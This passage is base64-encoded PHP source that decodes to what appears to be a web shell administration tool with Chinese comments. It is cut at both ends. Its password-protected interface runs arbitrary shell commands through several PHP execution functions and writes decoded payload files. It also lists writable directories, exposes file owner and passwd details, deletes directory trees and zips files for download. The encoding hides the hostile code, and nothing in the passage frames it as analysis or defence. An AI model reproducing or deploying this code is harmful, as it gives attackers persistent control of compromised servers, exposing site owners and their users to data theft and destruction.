2Nvb2tpZWRvbWFpbiddLCAkdXNlcG9ydCk7DQp9CQ0KZnVuY3Rpb24gbXVsdGkoJG51bSwgJHBlcnBhZ2UsICRjdXJwYWdlLCAkdGFibGVuYW1lKSB7DQoJJG11bHRpcGFnZSA9ICcnOw0KCWlmKCRudW0gPiAkcGVycGFnZSkgew0KCQkkcGFnZSA9IDEwOw0KCQkkb2Zmc2V0ID0gNTsNCgkJJHBhZ2VzID0gQGNlaWwoJG51bSAvICRwZXJwYWdlKTsNCgkJaWYoJHBhZ2UgPiAkcGFnZXMpIHsNCgkJCSRmcm9tID0gMTsNCgkJCSR0byA9ICRwYWdlczsNCgkJfSBlbHNlIHsNCgkJCSRmcm9tID0gJGN1cnBhZ2UgLSAkb2Zmc2V0Ow0KCQkJJHRvID0gJGN1cnBhZ2UgKyAkcGFnZSAtICRvZmZzZXQgLSAxOw0KCQkJaWYoJGZyb20gPCAxKSB7DQoJCQkJJHRvID0gJGN1cnBhZ2UgKyAxIC0gJGZyb207DQoJCQkJJGZyb20gPSAxOw0KCQkJCWlmKCgkdG8gLSAkZnJvbSkgPCAkcGFnZSAmJiAoJHRvIC0gJGZyb20pIDwgJHBhZ2VzKSB7DQoJCQkJCSR0byA9ICRwYWdlOw0KCQkJCX0NCgkJCX0gZWxzZWlmKCR0byA+ICRwYWdlcykgew0KCQkJCSRmcm9tID0gJGN1cnBhZ2UgLSAkcGFnZXMgKyAkdG87DQoJCQkJJHRvID0gJHBhZ2VzOw0KCQkJCWlmKCgkdG8gLSAkZnJvbSkgPCAkcGFnZSAmJiAoJHRvIC0gJGZyb20pIDwgJHBhZ2VzKSB7DQoJCQkJCSRmcm9tID0gJHBhZ2VzIC0gJHBhZ2UgKyAxOw0KCQkJCX0NCgkJCX0NCgkJfQ0KCQkkbXVsdGlwYWdlID0gKCRjdXJwYWdlIC0gJG9mZnNldCA+IDEgJiYgJHBhZ2VzID4gJHBhZ2UgPyAnPGEgaHJlZj0iamF2YXNjcmlwdDpzZXR0YWJsZShcJycuJHRhYmxlbmFtZS4nXCcsIFwnXCcsIDEpOyI+Rmlyc3Q8L2E+ICcgOiAnJykuKCRjdXJwYWdlID4gMSA/ICc8YSBocmVmPSJqYXZhc2NyaXB0OnNldHRhYmxlKFwnJy4kdGFibGVuYW1lLidcJywgXCdcJywgJy4oJGN1cnBhZ2UgLSAxKS4nKTsiPlByZXY8L2E+ICcgOiAnJyk7DQoJCWZvcigkaSA9ICRmcm9tOyAkaSA8PSAkdG87ICRpKyspIHsNCgkJCSRtdWx0aXBhZ2UgLj0gJGkgPT0gJGN1cnBhZ2UgPyAkaS4nICcgOiAnPGEgaHJlZj0iamF2YXNjcmlwdDpzZXR0YWJsZShcJycuJHRhYmxlbmFtZS4nXCcsIFwnXCcsICcuJGkuJyk7Ij5bJy4kaS4nXTwvYT4gJzsNCgkJfQ0KCQkkbXVsdGlwYWdlIC49ICgkY3VycGFnZSA8ICRwYWdlcyA/ICc8YSBocmVmPSJqYXZhc2NyaXB0OnNldHRhYmxlKFwnJy4kdGFibGVuYW1lLidcJywgXCdcJywgJy4oJGN1cnBhZ2UgKyAxKS4nKTsiPk5leHQ8L2E+JyA6ICcnKS4oJHRvIDwgJHBhZ2VzID8gJyA8YSBocmVmPSJqYXZhc2NyaXB0OnNldHRhYmxlKFwnJy4kdGFibGVuYW1lLidcJywgXCdcJywgJy4kcGFnZXMuJyk7Ij5MYXN0PC9hPicgOiAnJyk7DQoJCSRtdWx0aXBhZ2UgPSAkbXVsdGlwYWdlID8gJzxwPlBhZ2VzOiAnLiRtdWx0aXBhZ2UuJzwvcD4nIDogJyc7DQoJfQ0KCXJldHVybiAkbXVsdGlwYWdlOw0KfQ0KLy8gtcfCvcjrv9oNCmZ1bmN0aW9uIGxvZ2lucGFnZSgpIHsNCj8+DQoJPHN0eWxlIHR5cGU9InRleHQvY3NzIj4NCglpbnB1dCB7Zm9udDoxMXB4IFZlcmRhbmE7QkFDS0dST1VORDogI0ZGRkZGRjtoZWlnaHQ6IDE4cHg7Ym9yZGVyOiAxcHggc29saWQgIzY2NjY2Njt9DQoJPC9zdHlsZT4NCgk8Zm9ybSBtZXRob2Q9IlBPU1QiIGFjdGlvbj0iIj4NCgk8c3BhbiBzdHlsZT0iZm9udDoxMXB4IFZlcmRhbmE7Ij5QYXNzd29yZDogPC9zcGFuPjxpbnB1dCBuYW1lPSJwYXNzd29yZCIgdHlwZT0icGFzc3dvcmQiIHNpemU9IjIwIj4NCgk8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJkb2luZyIgdmFsdWU9ImxvZ2luIj4NCgk8aW5wdXQgdHlwZT0ic3VibWl0IiB2YWx1ZT0iTG9naW4iPg0KCTwvZm9ybT4NCjw/cGhwDQoJZXhpdDsNCn0vL2VuZCBsb2dpbnBhZ2UoKQ0KDQpmdW5jdGlvbiBleGVjdXRlKCRjZmUpIHsNCgkkcmVzID0gJyc7DQoJaWYgKCRjZmUpIHsNCgkJaWYoZnVuY3Rpb25fZXhpc3RzKCdleGVjJykpIHsNCgkJCUBleGVjKCRjZmUsJHJlcyk7DQoJCQkkcmVzID0gam9pbigiXG4iLCRyZXMpOw0KCQl9IGVsc2VpZihmdW5jdGlvbl9leGlzdHMoJ3NoZWxsX2V4ZWMnKSkgew0KCQkJJHJlcyA9IEBzaGVsbF9leGVjKCRjZmUpOw0KCQl9IGVsc2VpZihmdW5jdGlvbl9leGlzdHMoJ3N5c3RlbScpKSB7DQoJCQlAb2Jfc3RhcnQoKTsNCgkJCUBzeXN0ZW0oJGNmZSk7DQoJCQkkcmVzID0gQG9iX2dldF9jb250ZW50cygpOw0KCQkJQG9iX2VuZF9jbGVhbigpOw0KCQl9IGVsc2VpZihmdW5jdGlvbl9leGlzdHMoJ3Bhc3N0aHJ1JykpIHsNCgkJCUBvYl9zdGFydCgpOw0KCQkJQHBhc3N0aHJ1KCRjZmUpOw0KCQkJJHJlcyA9IEBvYl9nZXRfY29udGVudHMoKTsNCgkJCUBvYl9lbmRfY2xlYW4oKTsNCgkJfSBlbHNlaWYoQGlzX3Jlc291cmNlKCRmID0gQHBvcGVuKCRjZmUsInIiKSkpIHsNCgkJCSRyZXMgPSAnJzsNCgkJCXdoaWxlKCFAZmVvZigkZikpIHsNCgkJCQkkcmVzIC49IEBmcmVhZCgkZiwxMDI0KTsgDQoJCQl9DQoJCQlAcGNsb3NlKCRmKTsNCgkJfQ0KCX0NCglyZXR1cm4gJHJlczsNCn0NCmZ1bmN0aW9uIHdoaWNoKCRwcikgew0KCSRwYXRoID0gZXhlY3V0ZSgid2hpY2ggJHByIik7DQoJcmV0dXJuICgkcGF0aCA/ICRwYXRoIDogJHByKTsgDQp9DQoNCmZ1bmN0aW9uIGNmKCRmbmFtZSwkdGV4dCl7DQoJaWYoJGZwPUBmb3BlbigkZm5hbWUsJ3cnKSkgew0KCQlAZnB1dHMoJGZwLEBiYXNlNjRfZGVjb2RlKCR0ZXh0KSk7DQoJCUBmY2xvc2UoJGZwKTsNCgl9DQp9DQoNCi8vINKzw+a198rUJiMyODY7xc+iDQpmdW5jdGlvbiBkZWJ1Z2luZm8oKSB7DQoJZ2xvYmFsICRzdGFydHRpbWU7DQoJJG10aW1lID0gZXhwbG9kZSgnICcsIG1pY3JvdGltZSgpKTsNCgkkdG90YWx0aW1lID0gbnVtYmVyX2Zvcm1hdCgoJG10aW1lWzFdICsgJG10aW1lWzBdIC0gJHN0YXJ0dGltZSksIDYpOw0KCWVjaG8gJ1Byb2Nlc3NlZCBpbiAnLiR0b3RhbHRpbWUuJyBzZWNvbmQocyknOw0KfQ0KDQovL8GsvdPKJiMzMDU7viYjMzA0O7/iDQpmdW5jdGlvbiBkYmNvbm4oJGRiaG9zdCwkZGJ1c2VyLCRkYnBhc3MsJGRibmFtZT0nJywkY2hhcnNldD0nJywkZGJwb3J0PSczMzA2Jykgew0KCWlmKCEkbGluayA9IEBteXNxbF9jb25uZWN0KCRkYmhvc3QuJzonLiRkYnBvcnQsICRkYnVzZXIsICRkYnBhc3MpKSB7DQoJCXAoJzxoMj5DYW4gbm90IGNvbm5lY3QgdG8gTXlTUUwgc2VydmVyPC9oMj4nKTsNCgkJZXhpdDsNCgl9DQoJaWYoJGxpbmsgJiYgJGRibmFtZSkgew0KCQlpZiAoIUBteXNxbF9zZWxlY3RfZGIoJGRibmFtZSwgJGxpbmspKSB7DQoJCQlwKCc8aDI+RGF0YWJhc2Ugc2VsZWN0ZWQgaGFzIGVycm9yPC9oMj4nKTsNCgkJCWV4aXQ7DQoJCX0NCgl9DQoJaWYoJGxpbmsgJiYgbXlzcWxfZ2V0X3NlcnZlcl9pbmZvKCkgPiAnNC4xJykgew0KCQlpZihpbl9hcnJheShzdHJ0b2xvd2VyKCRjaGFyc2V0KSwgYXJyYXkoJ2diaycsICdiaWc1JywgJ3V0ZjgnKSkpIHsNCgkJCXEoIlNFVCBjaGFyYWN0ZXJfc2V0X2Nvbm5lY3Rpb249JGNoYXJzZXQsIGNoYXJhY3Rlcl9zZXRfcmVzdWx0cz0kY2hhcnNldCwgY2hhcmFjdGVyX3NldF9jbGllbnQ9YmluYXJ5OyIsICRsaW5rKTsNCgkJfQ0KCX0NCglyZXR1cm4gJGxpbms7DQp9DQoNCi8vIMiltfTXqtLl19a3+w0KZnVuY3Rpb24gc19hcnJheSgmJGFycmF5KSB7DQoJaWYgKGlzX2FycmF5KCRhcnJheSkpIHsNCgkJZm9yZWFjaCAoJGFycmF5IGFzICRrID0+ICR2KSB7DQoJCQkkYXJyYXlbJGtdID0gc19hcnJheSgkdik7DQoJCX0NCgl9IGVsc2UgaWYgKGlzX3N0cmluZygkYXJyYXkpKSB7DQoJCSRhcnJheSA9IHN0cmlwc2xhc2hlcygkYXJyYXkpOw0KCX0NCglyZXR1cm4gJGFycmF5Ow0KfQ0KDQovLyDH5bMmIzMwNTtIVE1MtPrC6w0KZnVuY3Rpb24gaHRtbF9jbGVhbigkY29udGVudCkgew0KCSRjb250ZW50ID0gaHRtbHNwZWNpYWxjaGFycygkY29udGVudCk7DQoJJGNvbnRlbnQgPSBzdHJfcmVwbGFjZSgiXG4iLCAiPGJyIC8+IiwgJGNvbnRlbnQpOw0KCSRjb250ZW50ID0gc3RyX3JlcGxhY2UoIiAgIiwgIiZuYnNwOyZuYnNwOyIsICRjb250ZW50KTsNCgkkY29udGVudCA9IHN0cl9yZXBsYWNlKCJcdCIsICImbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsiLCAkY29udGVudCk7DQoJcmV0dXJuICRjb250ZW50Ow0KfQ0KDQovLyC78cihyKjPJiMzNTA7DQpmdW5jdGlvbiBnZXRDaG1vZCgkZmlsZXBhdGgpew0KCXJldHVybiBzdWJzdHIoYmFzZV9jb252ZXJ0KEBmaWxlcGVybXMoJGZpbGVwYXRoKSwxMCw4KSwtNCk7DQp9DQoNCmZ1bmN0aW9uIGdldFBlcm1zKCRmaWxlcGF0aCkgew0KCSRtb2RlID0gQGZpbGVwZXJtcygkZmlsZXBhdGgpOw0KCWlmICgoJG1vZGUgJiAweEMwMDApID09PSAweEMwMDApIHskdHlwZSA9ICdzJzt9DQoJZWxzZWlmICgoJG1vZGUgJiAweDQwMDApID09PSAweDQwMDApIHskdHlwZSA9ICdkJzt9DQoJZWxzZWlmICgoJG1vZGUgJiAweEEwMDApID09PSAweEEwMDApIHskdHlwZSA9ICdsJzt9DQoJZWxzZWlmICgoJG1vZGUgJiAweDgwMDApID09PSAweDgwMDApIHskdHlwZSA9ICctJzt9IA0KCWVsc2VpZiAoKCRtb2RlICYgMHg2MDAwKSA9PT0gMHg2MDAwKSB7JHR5cGUgPSAnYic7fQ0KCWVsc2VpZiAoKCRtb2RlICYgMHgyMDAwKSA9PT0gMHgyMDAwKSB7JHR5cGUgPSAnYyc7fQ0KCWVsc2VpZiAoKCRtb2RlICYgMHgxMDAwKSA9PT0gMHgxMDAwKSB7JHR5cGUgPSAncCc7fQ0KCWVsc2UgeyR0eXBlID0gJz8nO30NCg0KCSRvd25lclsncmVhZCddID0gKCRtb2RlICYgMDA0MDApID8gJ3InIDogJy0nOyANCgkkb3duZXJbJ3dyaXRlJ10gPSAoJG1vZGUgJiAwMDIwMCkgPyAndycgOiAnLSc7IA0KCSRvd25lclsnZXhlY3V0ZSddID0gKCRtb2RlICYgMDAxMDApID8gJ3gnIDogJy0nOyANCgkkZ3JvdXBbJ3JlYWQnXSA9ICgkbW9kZSAmIDAwMDQwKSA/ICdyJyA6ICctJzsgDQoJJGdyb3VwWyd3cml0ZSddID0gKCRtb2RlICYgMDAwMjApID8gJ3cnIDogJy0nOyANCgkkZ3JvdXBbJ2V4ZWN1dGUnXSA9ICgkbW9kZSAmIDAwMDEwKSA/ICd4JyA6ICctJzsgDQoJJHdvcmxkWydyZWFkJ10gPSAoJG1vZGUgJiAwMDAwNCkgPyAncicgOiAnLSc7IA0KCSR3b3JsZFsnd3JpdGUnXSA9ICgkbW9kZSAmIDAwMDAyKSA/ICd3JyA6ICctJzsgDQoJJHdvcmxkWydleGVjdXRlJ10gPSAoJG1vZGUgJiAwMDAwMSkgPyAneCcgOiAnLSc7IA0KDQoJaWYoICRtb2RlICYgMHg4MDAgKSB7JG93bmVyWydleGVjdXRlJ10gPSAoJG93bmVyWydleGVjdXRlJ109PSd4JykgPyAncycgOiAnUyc7fQ0KCWlmKCAkbW9kZSAmIDB4NDAwICkgeyRncm91cFsnZXhlY3V0ZSddID0gKCRncm91cFsnZXhlY3V0ZSddPT0neCcpID8gJ3MnIDogJ1MnO30NCglpZiggJG1vZGUgJiAweDIwMCApIHskd29ybGRbJ2V4ZWN1dGUnXSA9ICgkd29ybGRbJ2V4ZWN1dGUnXT09J3gnKSA/ICd0JyA6ICdUJzt9DQogDQoJcmV0dXJuICR0eXBlLiRvd25lclsncmVhZCddLiRvd25lclsnd3JpdGUnXS4kb3duZXJbJ2V4ZWN1dGUnXS4kZ3JvdXBbJ3JlYWQnXS4kZ3JvdXBbJ3dyaXRlJ10uJGdyb3VwWydleGVjdXRlJ10uJHdvcmxkWydyZWFkJ10uJHdvcmxkWyd3cml0ZSddLiR3b3JsZFsnZXhlY3V0ZSddOw0KfQ0KDQpmdW5jdGlvbiBnZXRVc2VyKCRmaWxlcGF0aCkJew0KCWlmIChmdW5jdGlvbl9leGlzdHMoJ3Bvc2l4X2dldHB3dWlkJykpIHsNCgkJJGFycmF5ID0gQHBvc2l4X2dldHB3dWlkKEBmaWxlb3duZXIoJGZpbGVwYXRoKSk7DQoJCWlmICgkYXJyYXkgJiYgaXNfYXJyYXkoJGFycmF5KSkgew0KCQkJcmV0dXJuICcgLyA8YSBocmVmPSIjIiB0aXRsZT0iVXNlcjogJy4kYXJyYXlbJ25hbWUnXS4nJiMxMyYjMTBQYXNzd2Q6ICcuJGFycmF5WydwYXNzd2QnXS4nJiMxMyYjMTBVaWQ6ICcuJGFycmF5Wyd1aWQnXS4nJiMxMyYjMTBnaWQ6ICcuJGFycmF5WydnaWQnXS4nJiMxMyYjMTBHZWNvczogJy4kYXJyYXlbJ2dlY29zJ10uJyYjMTMmIzEwRGlyOiAnLiRhcnJheVsnZGlyJ10uJyYjMTMmIzEwU2hlbGw6ICcuJGFycmF5WydzaGVsbCddLiciPicuJGFycmF5WyduYW1lJ10uJzwvYT4nOw0KCQl9DQoJfQ0KCXJldHVybiAnJzsNCn0NCg0KLy8gyb6zJiMzMDU7xL/CvA0KZnVuY3Rpb24gZGVsdHJlZSgkZGVsZGlyKSB7DQoJJG15ZGlyPUBkaXIoJGRlbGRpcik7CQ0KCXdoaWxlKCRmaWxlPSRteWRpci0+cmVhZCgpKQl7IAkJDQoJCWlmKChpc19kaXIoJGRlbGRpci4nLycuJGZpbGUpKSAmJiAoJGZpbGUhPScuJykgJiYgKCRmaWxlIT0nLi4nKSkgeyANCgkJCUBjaG1vZCgkZGVsZGlyLicvJy4kZmlsZSwwNzc3KTsNCgkJCWRlbHRyZWUoJGRlbGRpci4nLycuJGZpbGUpOyANCgkJfQ0KCQlpZiAoaXNfZmlsZSgkZGVsZGlyLicvJy4kZmlsZSkpIHsNCgkJCUBjaG1vZCgkZGVsZGlyLicvJy4kZmlsZSwwNzc3KTsNCgkJCUB1bmxpbmsoJGRlbGRpci4nLycuJGZpbGUpOw0KCQl9DQoJfSANCgkkbXlkaXItPmNsb3NlKCk7IA0KCUBjaG1vZCgkZGVsZGlyLDA3NzcpOw0KCXJldHVybiBAcm1kaXIoJGRlbGRpcikgPyAxIDogMDsNCn0NCg0KLy8gse248SYjMjg2OyYjMjg2O7zktcSxs76wyavM5ru7DQpmdW5jdGlvbiBiZygpIHsNCglnbG9iYWwgJGJnYzsNCglyZXR1cm4gKCRiZ2MrKyUyPT0wKSA/ICdhbHQxJyA6ICdhbHQyJzsNCn0NCg0KLy8gu/HIobWxx7C1xM7EvCYjMzUxO8+1zbPCt762DQpmdW5jdGlvbiBnZXRQYXRoKCRzY3JpcHRwYXRoLCAkbm93cGF0aCkgew0KCWlmICgkbm93cGF0aCA9PSAnLicpIHsNCgkJJG5vd3BhdGggPSAkc2NyaXB0cGF0aDsNCgl9DQoJJG5vd3BhdGggPSBzdHJfcmVwbGFjZSgnXFwnLCAnLycsICRub3dwYXRoKTsNCgkkbm93cGF0aCA9IHN0cl9yZXBsYWNlKCcvLycsICcvJywgJG5vd3BhdGgpOw0KCWlmIChzdWJzdHIoJG5vd3BhdGgsIC0xKSAhPSAnLycpIHsNCgkJJG5vd3BhdGggPSAkbm93cGF0aC4nLyc7DQoJfQ0KCXJldHVybiAkbm93cGF0aDsNCn0NCg0KLy8gu/HIobWxx7DEv8K8tcTJz7y2xL/CvA0KZnVuY3Rpb24gZ2V0VXBQYXRoKCRub3dwYXRoKSB7DQoJJHBhdGhkYiA9IGV4cGxvZGUoJy8nLCAkbm93cGF0aCk7DQoJJG51bSA9IGNvdW50KCRwYXRoZGIpOw0KCWlmICgkbnVtID4gMikgew0KCQl1bnNldCgkcGF0aGRiWyRudW0tMV0sJHBhdGhkYlskbnVtLTJdKTsNCgl9DQoJJHVwcGF0aCA9IGltcGxvZGUoJy8nLCAkcGF0aGRiKS4nLyc7DQoJJHVwcGF0aCA9IHN0cl9yZXBsYWNlKCcvLycsICcvJywgJHVwcGF0aCk7DQoJcmV0dXJuICR1cHBhdGg7DQp9DQoNCi8vILzssulQSFDF5NbDss7KJiMzMDU7DQpmdW5jdGlvbiBnZXRjZmcoJHZhcm5hbWUpIHsNCgkkcmVzdWx0ID0gZ2V0X2NmZ192YXIoJHZhcm5hbWUpOw0KCWlmICgkcmVzdWx0ID09IDApIHsNCgkJcmV0dXJuICdObyc7DQoJfSBlbHNlaWYgKCRyZXN1bHQgPT0gMSkgew0KCQlyZXR1cm4gJ1llcyc7DQoJfSBlbHNlIHsNCgkJcmV0dXJuICRyZXN1bHQ7DQoJfQ0KfQ0KDQovLyC87LLpuq/KJiMzMDU7x+m/9g0KZnVuY3Rpb24gZ2V0ZnVuKCRmdW5OYW1lKSB7DQoJcmV0dXJuIChmYWxzZSAhPT0gZnVuY3Rpb25fZXhpc3RzKCRmdW5OYW1lKSkgPyAnWWVzJyA6ICdObyc7DQp9DQoNCmZ1bmN0aW9uIEdldExpc3QoJGRpcil7DQoJZ2xvYmFsICRkaXJkYXRhLCRqLCRub3dwYXRoOw0KCSEkaiAmJiAkaj0xOw0KCWlmICgkZGggPSBvcGVuZGlyKCRkaXIpKSB7DQoJCXdoaWxlICgkZmlsZSA9IHJlYWRkaXIoJGRoKSkgew0KCQkJJGY9c3RyX3JlcGxhY2UoJy8vJywnLycsJGRpci4nLycuJGZpbGUpOw0KCQkJaWYoJGZpbGUhPScuJyAmJiAkZmlsZSE9Jy4uJyAmJiBpc19kaXIoJGYpKXsNCgkJCQlpZiAoaXNfd3JpdGFibGUoJGYpKSB7DQoJCQkJCSRkaXJkYXRhWyRqXVsnZmlsZW5hbWUnXT1zdHJfcmVwbGFjZSgkbm93cGF0aCwnJywkZik7DQoJCQkJCSRkaXJkYXRhWyRqXVsnbXRpbWUnXT1AZGF0ZSgnWS1tLWQgSDppOnMnLGZpbGVtdGltZSgkZikpOw0KCQkJCQkkZGlyZGF0YVskal1bJ2RpcmNobW9kJ109Z2V0Q2htb2QoJGYpOw0KCQkJCQkkZGlyZGF0YVskal1bJ2RpcnBlcm0nXT1nZXRQZXJtcygkZik7DQoJCQkJCSRkaXJkYXRhWyRqXVsnZGlybGluayddPXVlKCRkaXIpOw0KCQkJCQkkZGlyZGF0YVskal1bJ3NlcnZlcl9saW5rJ109JGY7DQoJCQkJCSRkaXJkYXRhWyRqXVsnY2xpZW50X2xpbmsnXT11ZSgkZik7DQoJCQkJCSRqKys7DQoJCQkJfQ0KCQkJCUdldExpc3QoJGYpOw0KCQkJfQ0KCQl9DQoJCWNsb3NlZGlyKCRkaCk7DQoJCWNsZWFyc3RhdGNhY2hlKCk7DQoJCXJldHVybiAkZGlyZGF0YTsNCgl9IGVsc2Ugew0KCQlyZXR1cm4gYXJyYXkoKTsNCgl9DQp9DQoNCmZ1bmN0aW9uIHF5KCRzcWwpIHsgDQoJLy9lY2hvICRzcWwuJzxicj4nOw0KCSRyZXMgPSAkZXJyb3IgPSAnJzsNCglpZighJHJlcyA9IEBteXNxbF9xdWVyeSgkc3FsKSkgeyANCgkJcmV0dXJuIDA7DQoJfSBlbHNlIGlmKGlzX3Jlc291cmNlKCRyZXMpKSB7DQoJCXJldHVybiAxOyANCgl9IGVsc2Ugew0KCQlyZXR1cm4gMjsNCgl9CQ0KCXJldHVybiAwOw0KfQ0KDQpmdW5jdGlvbiBxKCRzcWwpIHsgDQoJcmV0dXJuIEBteXNxbF9xdWVyeSgkc3FsKTsNCn0NCg0KZnVuY3Rpb24gZnIoJHF5KXsNCglteXNxbF9mcmVlX3Jlc3VsdCgkcXkpOw0KfQ0KDQpmdW5jdGlvbiBzaXplY291bnQoJHNpemUpIHsNCglpZigkc2l6ZSA+IDEwNzM3NDE4MjQpIHsNCgkJJHNpemUgPSByb3VuZCgkc2l6ZSAvIDEwNzM3NDE4MjQgKiAxMDApIC8gMTAwIC4gJyBHJzsNCgl9IGVsc2VpZigkc2l6ZSA+IDEwNDg1NzYpIHsNCgkJJHNpemUgPSByb3VuZCgkc2l6ZSAvIDEwNDg1NzYgKiAxMDApIC8gMTAwIC4gJyBNJzsNCgl9IGVsc2VpZigkc2l6ZSA+IDEwMjQpIHsNCgkJJHNpemUgPSByb3VuZCgkc2l6ZSAvIDEwMjQgKiAxMDApIC8gMTAwIC4gJyBLJzsNCgl9IGVsc2Ugew0KCQkkc2l6ZSA9ICRzaXplIC4gJyBCJzsNCgl9DQoJcmV0dXJuICRzaXplOw0KfQ0KDQovLyDRucv1tPKw/MDgDQpjbGFzcyBQSFBaaXB7DQoJdmFyICRvdXQ9Jyc7DQoJZnVuY3Rpb24gUEhQWmlwKCRkaXIpCXsNCgkJaWYgKEBmdW5jdGlvbl9leGlzdHMoJ2d6Y29tcHJlc3MnKSkJew0KCQkJJGN1cmRpciA9IGdldGN3ZCgpOw0KCQkJaWYgKGlzX2FycmF5KCRkaXIpKSAkZmlsZWxpc3QgPSAkZGlyOw0KCQkJZWxzZXsNCgkJCQkkZmlsZWxpc3Q9JHRoaXMgLT4gR2V0RmlsZUxpc3QoJGRpcik7Ly/OxLwmIzM1MTvBJiMyODY7se0NCgkJCQlmb3JlYWNoKCRmaWxlbGlzdCBhcyAkaz0+JHYpICRmaWxlbGlzdFtdPXN1YnN0cigkdixzdHJsZW4oJGRpcikrMSk7DQoJCQl9DQoJCQlpZiAoKCFlbXB0eSgkZGlyKSkmJighaXNfYXJyYXkoJGRpcikpJiYoZmlsZV9leGlzdHMoJGRpcikpKSBjaGRpcigkZGlyKTsNCgkJCWVsc2UgY2hkaXIoJGN1cmRpcik7DQoJCQlpZiAoY291bnQoJGZpbGVsaXN0KT4wKXsNCgkJCQlmb3JlYWNoKCRmaWxlbGlzdCBhcyAkZmlsZW5hbWUpew0KCQkJCQlpZiAoaXNfZmlsZSgkZmlsZW5hbWUpKXsNCgkJCQkJCSRmZCA9IGZvcGVuICgkZmlsZW5hbWUsICdyJyk7DQoJCQkJCQkkY29udGVudCA9IEBmcmVhZCAoJGZkLCBmaWxlc2l6ZSgkZmlsZW5hbWUpKTsNCgkJCQkJCWZjbG9zZSAoJGZkKTsNCgkJCQkJCWlmIChpc19hcnJheSgkZGlyKSkgJGZpbGVuYW1lID0gYmFzZW5hbWUoJGZpbGVuYW1lKTsNCgkJCQkJCSR0aGlzIC0+IGFkZEZpbGUoJGNvbnRlbnQsICRmaWxlbmFtZSk7DQoJCQkJCX0NCgkJCQl9DQoJCQkJJHRoaXMtPm91dCA9ICR0aGlzIC0+IGZpbGUoKTsNCgkJCQljaGRpcigkY3VyZGlyKTsNCgkJCX0NCgkJCXJldHVybiAxOw0KCQl9DQoJCWVsc2UgcmV0dXJuIDA7DQoJfQ0KDQoJLy8gu/G1w9a4tqjEv8K8zsS8JiMzNTE7wSYjMjg2O7HtDQoJZnVuY3Rpb24gR2V0RmlsZUxpc3QoJGRpcil7DQoJCXN0YXRpYyAkYTsNCgkJaWYgKGlzX2RpcigkZGlyKSkgew0KCQkJaWYgKCRkaCA9IG9wZW5kaXIoJGRpcikpIHsNCgkJCQl3aGlsZSAoJGZpbGUgPSByZWFkZGlyKCRkaCkpIHsNCgkJCQkJaWYoJGZpbGUhPScuJyAmJiAkZmlsZSE9Jy4uJyl7DQoJCQkJCQkkZj0kZGlyIC4nLycuICRmaWxlOw0KCQkJCQkJaWYoaXNfZGlyKCRmKSkgJHRoaXMtPkdldEZpbGVMaXN0KCRmKTsNCgkJCQkJCSRhW109JGY7DQoJCQkJCX0NCgkJCQl9DQoJCQkJY2xvc2VkaXIoJGRoKTsNCgkJCX0NCgkJfQ0KCQlyZXR1cm4gJGE7DQoJfQ0KDQoJdmFyICRkYXRhc2VjICAgICAgPSBhcnJheSgpOw0KCXZhciAkY3RybF9kaXIgICAgID0gYXJyYXkoKTsNCgl2YXIgJGVvZl9jdHJsX2RpciA9ICJceDUwXHg0Ylx4MDVceDA2XHgwMFx4MDBceDAwXHgwMCI7DQoJdmFyICRvbGRfb2Zmc2V0ICAgPSAwOw0KDQoJZnVuY3Rpb24gdW5peDJEb3NUaW1lKCR1bml4dGltZSA9IDApIHsNCgkJJHRpbWVhcnJheSA9ICgkdW5peHRpbWUgPT0gMCkgPyBnZXRkYXRlKCkgOiBnZXRkYXRlKCR1bml4dGltZSk7DQoJCWlmICgkdGltZWFycmF5Wyd5ZWFyJ10gPCAxOTgwKSB7DQoJCQkkdGltZWFycmF5Wyd5ZWFyJ10gICAgPSAxOTgwOw0KCQkJJHRpbWVhcnJheVsnbW9uJ10gICAgID0gMTsNCgkJCSR0aW1lYXJyYXlbJ21kYXknXSAgICA9IDE7DQoJCQkkdGltZWFycmF5Wydob3VycyddICAgPSAwOw0KCQkJJHRpbWVhcnJheVsnbWludXRlcyddID0gMDsNCgkJCSR0aW1lYXJyYXlbJ3NlY29uZHMnXSA9IDA7DQoJCX0gLy8gZW5kIGlmDQoJCXJldHVybiAoKCR0aW1lYXJyYXlbJ3llYXInXSAtIDE5ODApIDw8IDI1KSB8ICgkdGltZWFycmF5Wydtb24nXSA8PCAyMSkgfCAoJHRpbWVhcnJheVsnbWRheSddIDw8IDE2KSB8DQoJCQkJKCR0aW1lYXJyYXlbJ2hvdXJzJ10gPDwgMTEpIHwgKCR0aW1lYXJyYXlbJ21pbnV0ZXMnXSA8PCA1KSB8ICgkdGltZWFycmF5WydzZWNvbmRzJ10gPj4gMSk7DQoJfQ0KDQoJZnVuY3Rpb24gYWRkRmlsZSgkZGF0YSwgJG5hbWUsICR0aW1lID0gMCkgew0KCQkkbmFtZSA9IHN0cl9yZXBsYWNlKCdcXCcsICcvJywgJG5hbWUpOw0KDQoJCSRkdGltZSA9IGRlY2hleCgkdGhpcy0+dW5peDJEb3NUaW1lKCR0aW1lKSk7DQoJCSRoZXhkdGltZQk9ICdceCcgLiAkZHRpbWVbNl0gLiAkZHRpbWVbN10NCgkJCQkJLiAnXHgnIC4gJGR0aW1lWzRdIC4gJGR0aW1lWzVdDQoJCQkJCS4gJ1x4JyAuICRkdGltZVsyXSAuICRkdGltZVszXQ0KCQkJCQkuICdceCcgLiAkZHRpbWVbMF0gLiAkZHRpbWVbMV07DQoJCWV2YWwoJyRoZXhkdGltZSA9ICInIC4gJGhleGR0aW1lIC4gJyI7Jyk7DQoJCSRmcgk9ICJceDUwXHg0Ylx4MDNceDA0IjsNCgkJJGZyCS49ICJceDE0XHgwMCI7DQoJCSRmcgkuPSAiXHgwMFx4MDAiOw0KCQkkZnIJLj0gIlx4MDhceDAwIjsNCgkJJGZyCS49ICRoZXhkdGltZTsNCg0KCQkkdW5jX2xlbiA9IHN0cmxlbigkZGF0YSk7DQoJCSRjcmMgPSBjcmMzMigkZGF0YSk7DQoJCSR6ZGF0YSA9IGd6Y29tcHJlc3MoJGRhdGEpOw0KCQkkY19sZW4gPSBzdHJsZW4oJHpkYXRhKTsNCgkJJHpkYXRhID0gc3Vic3RyKHN1YnN0cigkemRhdGEsIDAsIHN0cmxlbigkemRhdGEpIC0gNCksIDIpOw0KCQkkZnIgLj0gcGFjaygnVicsICRjcmMpOw0KCQkkZnIgLj0gcGFjaygnVicsICRjX2xlbik7DQoJCSRmciAuPSBwYWNrKCdWJywgJHVuY19sZW4pOw0KCQkkZnIgLj0gcGFjaygndicsIHN0cmxlbigkbmFtZSkpOw0KCQkkZnIgLj0gcGFjaygndicsIDApOw0KCQkkZnIgLj0gJG5h